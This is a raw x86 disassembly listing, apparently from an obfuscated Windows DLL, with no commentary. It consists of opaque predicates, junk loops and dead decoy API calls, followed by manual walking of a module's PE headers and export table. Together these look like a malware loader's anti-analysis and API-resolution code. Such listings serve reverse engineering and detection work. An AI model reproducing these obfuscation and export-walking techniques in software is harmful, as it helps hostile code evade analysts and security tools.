mov dword [ebp - 0x1688], 1
jmp 0x10038290
and dword [ebp - 0x1688], 0
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x5b0], eax
mov eax, dword [ebp - 0x774]
cmp dword [ebp - 0x5b0], eax
jne 0x100382b6
mov dword [ebp - 0x1174], 1
jmp 0x100382bd
and dword [ebp - 0x1174], 0
imul eax, dword [ebp - 0x1174], 0x74be
dec eax
js 0x100382d6
mov dword [ebp - 0x97c], 1
jmp 0x100382dd
and dword [ebp - 0x97c], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x195c], 6
cmp dword [ebp - 0x97c], 6
jge 0x10038303
mov dword [ebp - 0xa24], 0xe223
mov dword [ebp - 0xa34], 0x6652d0da
mov dword [ebp - 0x169c], 0xf7cd95da
mov dword [ebp - 0x1cc4], 0x64c7b7f6
mov dword [ebp - 0xe5c], 0x9675
mov dword [ebp - 0x3c8], 0
jmp 0x100392ca
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 2
jge 0x100392e6
mov eax, dword [ebp - 0x3c8]
mov dword [ebp + eax*4 - 0x11a4], 1
jmp 0x100392bd
cmp dword [ebp - 0xa24], 0
je 0x100393f8
mov eax, dword [ebp - 0xe5c]
inc eax
mov dword [ebp - 0xe5c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x11a4], 0
jl 0x1003931c
mov dword [ebp - 0x107c], 1
jmp 0x10039323
and dword [ebp - 0x107c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x11a4]
cmp dword [ebp - 0xa24], eax
jge 0x10039344
mov dword [ebp - 0xa2c], 1
jmp 0x1003934b
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x107c]
imul eax, dword [ebp - 0xa2c]
cmp eax, dword [ebp - 0xa34]
jne 0x1003936c
mov dword [ebp - 0xe64], 1
jmp 0x10039373
and dword [ebp - 0xe64], 0
imul eax, dword [ebp - 0xe64], 0xffffffff
cmp eax, dword [ebp - 0xa34]
jg 0x1003938e
mov dword [ebp - 0x118c], 1
jmp 0x10039395
and dword [ebp - 0x118c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x11a4]
cmp dword [ebp - 0x118c], eax
jle 0x100393b6
mov dword [ebp - 0x1358], 1
jmp 0x100393bd
and dword [ebp - 0x1358], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x11a4]
mov dword [ebp - 0x1c54], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x11a4]
mov dword [ebp - 0x1ccc], eax
mov eax, 0xacd4a797
test eax, eax
je 0x100393f8
mov dword [ebp - 0xa3c], 1
jmp 0x100393ff
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x169c], eax
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x1324], 0
mov dword [ebp - 0x108], 0
jmp 0x10039432
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
jge 0x1003944e
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0xe6c], 0
jmp 0x10039425
mov dword [ebp - 0x108], 0
jmp 0x10039467
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 3
jge 0x10039483
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x1948], 0xfffffffb
jmp 0x1003945a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe6c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe6c], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1948], 0
jmp 0x100394cc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1948], 1
je 0x100394f3
mov dword [ebp - 0x1360], 0xfffffffb
cmp dword [ebp - 0x1360], 0
je 0x100394f1
jmp 0x100394f3
jmp 0x100394b1
lea eax, [ebp - 0x1324]
push eax
lea ecx, [ebp - 0x216c]
call fcn.10047200
mov dword [ebp - 0x179c], eax
mov eax, dword [ebp - 0x179c]
mov dword [ebp - 0x1368], eax
mov dword [ebp - 4], 0x10
mov edx, dword [ebp - 0xfbc]
mov ecx, dword [ebp - 0x1368]
call fcn.10023839
mov dword [0x10091014], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x216c]
call fcn.1001fe9b
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0xa5c], 0xfffffffe
mov dword [ebp - 0xa74], 0x9413e458
mov dword [ebp - 0x1194], 1
mov dword [ebp - 0x1c5c], 0xffffffff
mov dword [ebp - 0x648], 0
jmp 0x1003958b
cmp dword [ebp - 0x648], 4
jge 0x100395a7
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x171c], 1
mov dword [ebp - 0x1bc], 0
jmp 0x1003d6fd
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x15
jg 0x1003d7d0
mov dword [ebp - 0x298], 0xabecba2a
mov dword [ebp - 0x298], 0
jmp 0x1003d72d
mov eax, dword [ebp - 0x298]
dec eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0xffffffee
jl 0x1003d7bd
mov dword [ebp - 0xfec], 0xd035c573
cmp dword [ebp - 0xfec], 0xab76
jl 0x1003d75c
mov dword [ebp - 0xd44], 1
jmp 0x1003d763
and dword [ebp - 0xd44], 0
mov eax, dword [ebp - 0xfec]
cmp eax, dword [ebp - 0xd44]
jle 0x1003d77d
mov dword [ebp - 0x1144], 1
jmp 0x1003d784
and dword [ebp - 0x1144], 0
mov eax, dword [ebp - 0x298]
cmp dword [ebp - 0x1bc], eax
jl 0x1003d79e
mov dword [ebp - 0xd4c], 1
jmp 0x1003d7a5
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0x1144]
imul eax, dword [ebp - 0xd4c]
mov dword [ebp - 0x171c], eax
jmp 0x1003d720
cmp dword [ebp - 0x1bc], 0
je 0x1003d7cb
jmp 0x1003d6f0
jmp 0x1003d6f0
mov eax, dword [0x10091014]
cmp eax, dword [ebp - 0x44c]
je 0x1003d7ee
mov eax, dword [0x100910b8]
cmp eax, dword [ebp - 0x44c]
jne 0x1003d8e3
mov dword [ebp - 0xff4], 0xfb0
mov dword [ebp - 0x17ec], 0x1000af7c
cmp dword [ebp - 0xff4], 0x107f
jle 0x1003d8b3
and dword [ebp - 0x4c0], 0
jmp 0x1003d828
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0x509d
jge 0x1003d8b3
and dword [ebp - 0x5bc], 0
jmp 0x1003d84a
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 0x6ca6
jge 0x1003d8ae
mov eax, dword [ebp - 0x4c0]
imul eax, dword [ebp - 0x5bc]
cdq
mov dword [ebp - 0x151c], eax
mov dword [ebp - 0x1518], edx
push dword [ebp - 0x1518]
push dword [ebp - 0x151c]
lea ecx, [ebp - 0x2244]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1484], eax
mov ecx, dword [ebp - 0x1484]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x2244]
call fcn.1001fbea
jmp 0x1003d83d
jmp 0x1003d81b
mov ecx, dword [ebp + 0xc]
call fcn.1001fbf4
push eax
push dword [ebp + 8]
call fcn.1002f08c
pop ecx
pop ecx
jmp 0x10044b10
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x38], 0x9a971867
mov dword [ebp - 0x7f4], 0xfffffff9
mov dword [ebp - 0x748], 0xfffffff8
mov dword [ebp - 0x25c], 0x8d67
mov dword [ebp - 0x1490], 4
mov dword [ebp - 0x1724], 0xfffffff7
mov dword [ebp - 0x1154], 0x988f15ea
mov dword [ebp - 0x888], 0
mov byte [ebp - 0x1b2], 0
movzx eax, byte [ebp - 0x1b2]
test eax, eax
je 0x1003d953
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1bf0], eax
cmp dword [ebp - 0x38], 1
jge 0x1003da3f
cmp dword [ebp - 0x38], 0
je 0x1003d97e
cmp dword [ebp - 0x38], 0
je 0x1003d97e
mov dword [ebp - 0xd54], 1
jmp 0x1003d985
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0xd54]
mov dword [ebp - 0x7f4], eax
mov eax, dword [ebp - 0x7f4]
sub eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x38]
je 0x1003d9b1
cmp dword [ebp - 0x38], 0
je 0x1003d9b1
mov dword [ebp - 0x11f4], 1
jmp 0x1003d9b8
and dword [ebp - 0x11f4], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x11f4], eax
je 0x1003d9cf
mov dword [ebp - 0xd5c], 1
jmp 0x1003d9d6
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xd5c]
add ecx, 0x8d95
add eax, ecx
cmp eax, 0x6194
jge 0x1003d9fa
mov dword [ebp - 0xffc], 1
jmp 0x1003da01
and dword [ebp - 0xffc], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0xffc], eax
jle 0x1003da18
mov dword [ebp - 0xd64], 1
jmp 0x1003da1f
and dword [ebp - 0xd64], 0
mov eax, dword [ebp - 0xd64]
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x748], eax
jl 0x1003da3f
and dword [ebp - 0x114c], 0
jmp 0x1003da49
mov dword [ebp - 0x114c], 1
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x114c], eax
jg 0x1003da60
mov dword [ebp - 0xd6c], 1
jmp 0x1003da67
and dword [ebp - 0xd6c], 0
cmp dword [ebp - 0xd6c], 0
jbe 0x1003da7c
mov dword [ebp - 0x1004], 1
jmp 0x1003da83
and dword [ebp - 0x1004], 0
cmp dword [ebp - 0x1004], 1
jg 0x1003da98
mov dword [ebp - 0xd74], 1
jmp 0x1003da9f
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0xd74]
add eax, dword [ebp - 0x38]
je 0x1003dab6
cmp dword [ebp - 0x25c], 0
jne 0x1003dac8
cmp dword [ebp - 0x748], 0
jne 0x1003dac8
and dword [ebp - 0x1288], 0
jmp 0x1003dad2
mov dword [ebp - 0x1288], 1
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x1288], eax
jg 0x1003daec
mov dword [ebp - 0xd7c], 1
jmp 0x1003daf3
and dword [ebp - 0xd7c], 0
mov eax, dword [ebp - 0xd7c]
mov dword [ebp - 0x1490], eax
mov eax, dword [ebp - 0x7f4]
sub eax, 0xc906
jne 0x1003db1e
mov eax, 0x3254
test eax, eax
jne 0x1003db1e
and dword [ebp - 0x100c], 0
jmp 0x1003db28
mov dword [ebp - 0x100c], 1
mov eax, dword [ebp - 0x25c]
imul eax, dword [ebp - 0x100c]
mov dword [ebp - 0x1724], eax
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x25c], eax
jge 0x1003db52
mov dword [ebp - 0xd84], 1
jmp 0x1003db59
and dword [ebp - 0xd84], 0
mov eax, dword [ebp - 0xd84]
mov dword [ebp - 0x1154], eax
cmp dword [ebp - 0x1154], 0
je 0x1003db81
push 8
pop eax
test eax, eax
je 0x1003db81
mov dword [ebp - 0xd8c], 1
jmp 0x1003db88
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0xd8c], eax
je 0x1003dbbf
mov byte [ebp - 0x166], 0
movzx eax, byte [ebp - 0x166]
test eax, eax
je 0x1003dbba
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MoveWindow]
jmp 0x1003dd62
mov dword [ebp - 0x884], 0x7c7
mov dword [ebp - 0x18b8], 0x1000afb8
cmp dword [ebp - 0x884], 0xace
jle 0x1003dced
and dword [ebp - 0x4c8], 0
jmp 0x1003dbf9
mov eax, dword [ebp - 0x4c8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0x47fc
jge 0x1003dced
and dword [ebp - 0x5c4], 0
jmp 0x1003dc1f
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0x676c
jge 0x1003dce8
and dword [ebp - 0x4d0], 0
jmp 0x1003dc45
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 0x7862
jge 0x1003dce3
and dword [ebp - 0x5cc], 0
jmp 0x1003dc6b
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 0x43df
jge 0x1003dcde
mov eax, dword [ebp - 0x4c8]
imul eax, dword [ebp - 0x5c4]
mov ecx, dword [ebp - 0x4d0]
imul ecx, dword [ebp - 0x5cc]
sar eax, cl
cdq
mov dword [ebp - 0x1528], eax
mov dword [ebp - 0x1524], edx
push dword [ebp - 0x1524]
push dword [ebp - 0x1528]
lea ecx, [ebp - 0x210c]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x149c], eax
mov ecx, dword [ebp - 0x149c]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x210c]
call fcn.1001fbea
jmp 0x1003dc5e
jmp 0x1003dc38
jmp 0x1003dc12
jmp 0x1003dbec
mov dword [ebp - 0x4d8], 0
jmp 0x1003dd06
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 3
jge 0x1003dd22
mov eax, dword [ebp - 0x4d8]
mov dword [ebp + eax*4 - 0x1d54], 0x32987c83
jmp 0x1003dcf9
cmp dword [ebp - 0x884], 0x461
jge 0x1003dd3a
push dword [ebp - 0x18b8]
call fcn.100714f3
pop ecx
mov eax, dword [ebp - 0x888]
dec eax
mov dword [ebp - 0x888], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d54]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1d54], eax
cmp dword [ebp - 0x4e0], 0
je 0x10044b0e
mov eax, dword [ebp - 0x4e0]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10044b0e
mov dword [ebp - 0x74], 0xe76f5020
mov dword [ebp - 0x8a0], 0x40ee1d45
mov dword [ebp - 0x14a8], 0x4333
mov dword [ebp - 0x8d8], 0xfffffff6
mov dword [ebp - 0x1bf8], 0xc3da550
mov dword [ebp - 0x5d4], 0
jmp 0x1003ddcb
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 1
jge 0x1003dde7
mov eax, dword [ebp - 0x5d4]
mov dword [ebp + eax*4 - 0x284], 0xc85f
jmp 0x1003ddbe
mov dword [ebp - 0x74], 0
jmp 0x1003ddf7
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jl 0x1003dfe7
mov dword [ebp - 0x198], 0
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp + eax*4 - 0x284]
mov dword [ebp + ecx*4 - 0x284], eax
mov dword [ebp - 0x198], 0
jmp 0x1003de38
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jg 0x1003dfe2
mov dword [ebp - 0x21c], 0xffffffff
mov dword [ebp - 0x21c], 0
jmp 0x1003de68
mov eax, dword [ebp - 0x21c]
dec eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jl 0x1003de91
mov byte [ebp - 0x14c], 0
movzx eax, byte [ebp - 0x14c]
test eax, eax
je 0x1003de8f
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
jmp 0x1003de5b
mov eax, dword [ebp - 0x198]
cmp dword [ebp + eax*4 - 0x284], 0x8b78
jne 0x1003deb0
mov dword [ebp - 0x8a8], 1
jmp 0x1003deb7
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp + eax*4 - 0x284], 0
je 0x1003ded9
mov eax, 0xf0442e11
test eax, eax
je 0x1003ded9
mov dword [ebp - 0x890], 1
jmp 0x1003dee0
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x890], eax
jl 0x1003defa
mov dword [ebp - 0x898], 1
jmp 0x1003df01
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 0
jne 0x1003df28
mov eax, 0xe60d
test eax, eax
jne 0x1003df28
and dword [ebp - 0x8b0], 0
jmp 0x1003df32
mov dword [ebp - 0x8b0], 1
mov eax, dword [ebp - 0x8a8]
add eax, dword [ebp - 0x8b0]
cmp eax, dword [ebp - 0x14a8]
jl 0x1003df52
mov dword [ebp - 0x8b8], 1
jmp 0x1003df59
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x8b8], eax
jle 0x1003df73
mov dword [ebp - 0x8c0], 1
jmp 0x1003df7a
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x8c0], eax
jge 0x1003df91
mov dword [ebp - 0x8c8], 1
jmp 0x1003df98
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x8c8], eax
jl 0x1003dfaf
mov dword [ebp - 0x8d0], 1
jmp 0x1003dfb6
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp + eax*4 - 0x284]
mov ecx, dword [ebp - 0x8d0]
sub ecx, dword [ebp - 0x74]
add eax, ecx
mov dword [ebp - 0x8d8], eax
mov eax, dword [ebp - 0x8d8]
mov dword [ebp - 0x21c], eax
jmp 0x1003de2b
jmp 0x1003ddf0
mov eax, dword [ebp - 0x4e0]
mov ecx, dword [ebp - 0x4e0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x280], ecx
mov dword [ebp - 0x1c00], 0x1008b5d4
mov eax, dword [ebp - 0x280]
cmp dword [eax], 0x4550
jne 0x10044b0e
mov eax, dword [ebp - 0x280]
cmp dword [eax + 0x74], 0
jbe 0x10044b0e
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x280]
cmp dword [ecx + eax + 0x78], 0
je 0x10044b0e
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x8c], 0x6a162c9c
mov dword [ebp - 0x4f0], 7
mov dword [ebp - 0x220], 0xddb74a71
mov dword [ebp - 0x120], 0x9b467bb1
mov dword [ebp - 0x8e0], 0x2f82
mov dword [ebp - 0x172c], 0x1000afe0
cmp dword [ebp - 0x8e0], 0x3068
jle 0x1003e107
and dword [ebp - 0x5dc], 0
jmp 0x1003e0a6
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0x272f
jge 0x1003e107
and dword [ebp - 0x4e8], 0
jmp 0x1003e0c8
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0x28af
jge 0x1003e105
mov eax, dword [ebp - 0x5dc]
add eax, dword [ebp - 0x4e8]
cdq
mov dword [ebp - 0x1534], eax
mov dword [ebp - 0x1530], edx
push dword [ebp - 0x1530]
push dword [ebp - 0x1534]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x1003e0bb
jmp 0x1003e099
mov dword [ebp - 0x938], 0x948214d2
cmp dword [ebp - 0x8e0], 0x2bb0
jge 0x1003e12d
mov edx, dword [ebp - 0x172c]
mov ecx, 0x1008bbb8
call fcn.100228da
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x1c08], eax
cmp dword [ebp - 0x8c], 0
je 0x1003e189
mov dword [ebp - 0x4f0], 0x6c0e263
mov eax, dword [ebp - 0x8c]
add eax, 0x678e045d
cmp eax, 1
jae 0x1003e168
mov dword [ebp - 0x8e8], 1
jmp 0x1003e16f
and dword [ebp - 0x8e8], 0
cmp dword [ebp - 0x8e8], 0xffffffff
jg 0x1003e189
or eax, 0xffffffff
je 0x1003e189
mov dword [ebp - 0x14b4], 1
jmp 0x1003e190
and dword [ebp - 0x14b4], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x1c10], eax
mov dword [ebp - 0x220], 0xffffffff
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x220], eax
je 0x1003e1c0
mov dword [ebp - 0x8f0], 1
jmp 0x1003e1c7
and dword [ebp - 0x8f0], 0
cmp dword [ebp - 0x8f0], 0xbb66
jg 0x1003e1df
mov dword [ebp - 0x8f8], 1
jmp 0x1003e1e6
and dword [ebp - 0x8f8], 0
cmp dword [ebp - 0x8f8], 0xffffffff
jne 0x1003e1fb
mov dword [ebp - 0x900], 1
jmp 0x1003e202
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x8c]
cmp eax, dword [ebp - 0x900]
jge 0x1003e21c
mov dword [ebp - 0x908], 1
jmp 0x1003e223
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x908], eax
jle 0x1003e23d
mov dword [ebp - 0x910], 1
jmp 0x1003e244
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x910]
cmp eax, dword [ebp - 0x8c]
jge 0x1003e264
mov dword [ebp - 0x918], 1
jmp 0x1003e26b
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x1003e289
mov eax, 0x8af1
test eax, eax
jne 0x1003e29b
cmp dword [ebp - 0x4f0], 0
jne 0x1003e29b
and dword [ebp - 0x17fc], 0
jmp 0x1003e2a5
mov dword [ebp - 0x17fc], 1
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x1c18], eax
mov dword [ebp - 0x938], 0xffffffff
mov dword [ebp - 0x120], 0
jmp 0x1003e2d4
mov eax, dword [ebp - 0x120]
dec eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xfffffff6
jl 0x1003e538
mov dword [ebp - 0x114], 0x7758a8c
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x960], 0x8cfb9963
push 3
lea ecx, [ebp - 0x1a44]
call fcn.1001ff2e
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x5e4], 0
jmp 0x1003e32c
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 3
jge 0x1003e34e
push dword [ebp - 0x5e4]
lea ecx, [ebp - 0x1a44]
call fcn.1001ffcc
mov dword [eax], 0x86b299b5
jmp 0x1003e31f
cmp dword [ebp - 0x114], 0
jne 0x1003e440
mov eax, dword [ebp - 0x114]
sub eax, 0x2f3652ad
cmp dword [ebp - 0x114], eax
jle 0x1003e37a
mov dword [ebp - 0x920], 1
jmp 0x1003e381
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0x750], eax
mov eax, dword [ebp - 0x750]
sub eax, dword [ebp - 0x220]
cmp eax, 0xe98
jge 0x1003e3ac
mov dword [ebp - 0x928], 1
jmp 0x1003e3b3
and dword [ebp - 0x928], 0
cmp dword [ebp - 0x928], 0xc19a
je 0x1003e3cb
mov dword [ebp - 0x930], 1
jmp 0x1003e3d2
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x930], eax
jg 0x1003e3f2
cmp dword [ebp - 0x938], 0
jne 0x1003e3f2
and dword [ebp - 0x830], 0
jmp 0x1003e3fc
mov dword [ebp - 0x830], 1
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x4f0]
cmp dword [ebp - 0x114], eax
jg 0x1003e422
mov dword [ebp - 0x948], 1
jmp 0x1003e429
and dword [ebp - 0x948], 0
imul eax, dword [ebp - 0x948], 0xfd23
test eax, eax
jne 0x1003e440
and dword [ebp - 0x950], 0
jmp 0x1003e44a
mov dword [ebp - 0x950], 1
mov eax, dword [ebp - 0x220]
cmp dword [ebp - 0x950], eax
jl 0x1003e46a
cmp dword [ebp - 0x750], 0
jne 0x1003e46a
and dword [ebp - 0x958], 0
jmp 0x1003e474
mov dword [ebp - 0x958], 1
mov eax, dword [ebp - 0x958]
mov dword [ebp - 0x960], eax
mov eax, dword [ebp - 0x960]
sub eax, 0xc09c
cmp eax, dword [ebp - 0x114]
jg 0x1003e49f
mov dword [ebp - 0x968], 1
jmp 0x1003e4a6
and dword [ebp - 0x968], 0
cmp dword [ebp - 0x968], 0xfffffffd
jge 0x1003e4bb
mov dword [ebp - 0x970], 1
jmp 0x1003e4c2
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x970]
cmp eax, dword [ebp - 0x120]
jge 0x1003e4e2
mov dword [ebp - 0x978], 1
jmp 0x1003e4e9
and dword [ebp - 0x978], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x978], eax
jl 0x1003e503
mov dword [ebp - 0x14c0], 1
jmp 0x1003e50a
and dword [ebp - 0x14c0], 0
push 0
lea ecx, [ebp - 0x1a44]
call fcn.1001ffcc
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x220], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a44]
call fcn.1001ffb0
jmp 0x1003e2c7
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x280]
mov edx, dword [ebp - 0x1f8]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x28], 0x831713b9
mov dword [ebp - 0x980], 0xfffffffc
mov dword [ebp - 0x998], 0xcbed562b
mov dword [ebp - 0x1c20], 8
mov dword [ebp - 0x28], 0
jmp 0x1003e589
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 6
jle 0x1003e82a
mov dword [ebp - 0x7a4], 0x9827
push 1
lea ecx, [ebp - 0x1a5c]
call fcn.1001ff2e
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x1990], 0x598737a3
mov dword [ebp - 0x198c], 0x598737a3
mov dword [ebp - 0x1988], 0x598737a3
mov dword [ebp - 0x1984], 0x598737a3
lea ecx, [ebp - 0x761]
call fcn.1001ffdb
push eax
lea eax, [ebp - 0x1980]
push eax
lea eax, [ebp - 0x1990]
push eax
lea ecx, [ebp - 0x1f54]
call fcn.1001ffde
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1d64]
call fcn.1001ff8a
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x5ec], 0
jmp 0x1003e62b
mov eax, dword [ebp - 0x5ec]
inc eax
mov dword [ebp - 0x5ec], eax
cmp dword [ebp - 0x5ec], 1
jge 0x1003e64d
push dword [ebp - 0x5ec]
lea ecx, [ebp - 0x1a5c]
call fcn.1001ffcc
mov dword [eax], 0x83afd470
jmp 0x1003e61e
mov dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x980]
cmp dword [ebp - 0x28], eax
jg 0x1003e66e
mov dword [ebp - 0x9b8], 1
jmp 0x1003e675
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x28], eax
je 0x1003e689
mov dword [ebp - 0x988], 1
jmp 0x1003e690
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x988], eax
jl 0x1003e6a7
mov dword [ebp - 0x990], 1
jmp 0x1003e6ae
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x7a4]
add eax, dword [ebp - 0x990]
mov dword [ebp - 0x998], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x998], eax
je 0x1003e6d7
mov dword [ebp - 0x9a0], 1
jmp 0x1003e6de
and dword [ebp - 0x9a0], 0
imul eax, dword [ebp - 0x9a0], 0xc920
imul eax, dword [ebp - 0x28]
cmp eax, 0xfff9
jbe 0x1003e6ff
mov dword [ebp - 0x9a8], 1
jmp 0x1003e706
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x9a8]
jl 0x1003e71d
mov dword [ebp - 0x9b0], 1
jmp 0x1003e724
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x7a4]
cmp dword [ebp - 0x9b0], eax
jle 0x1003e73e
mov dword [ebp - 0x9c0], 1
jmp 0x1003e745
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x9b8]
sub eax, dword [ebp - 0x9c0]
cmp eax, dword [ebp - 0x7a4]
je 0x1003e765
mov dword [ebp - 0x9c8], 1
jmp 0x1003e76c
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x9c8]
sub eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x9d0], eax
push 0
lea ecx, [ebp - 0x1a5c]
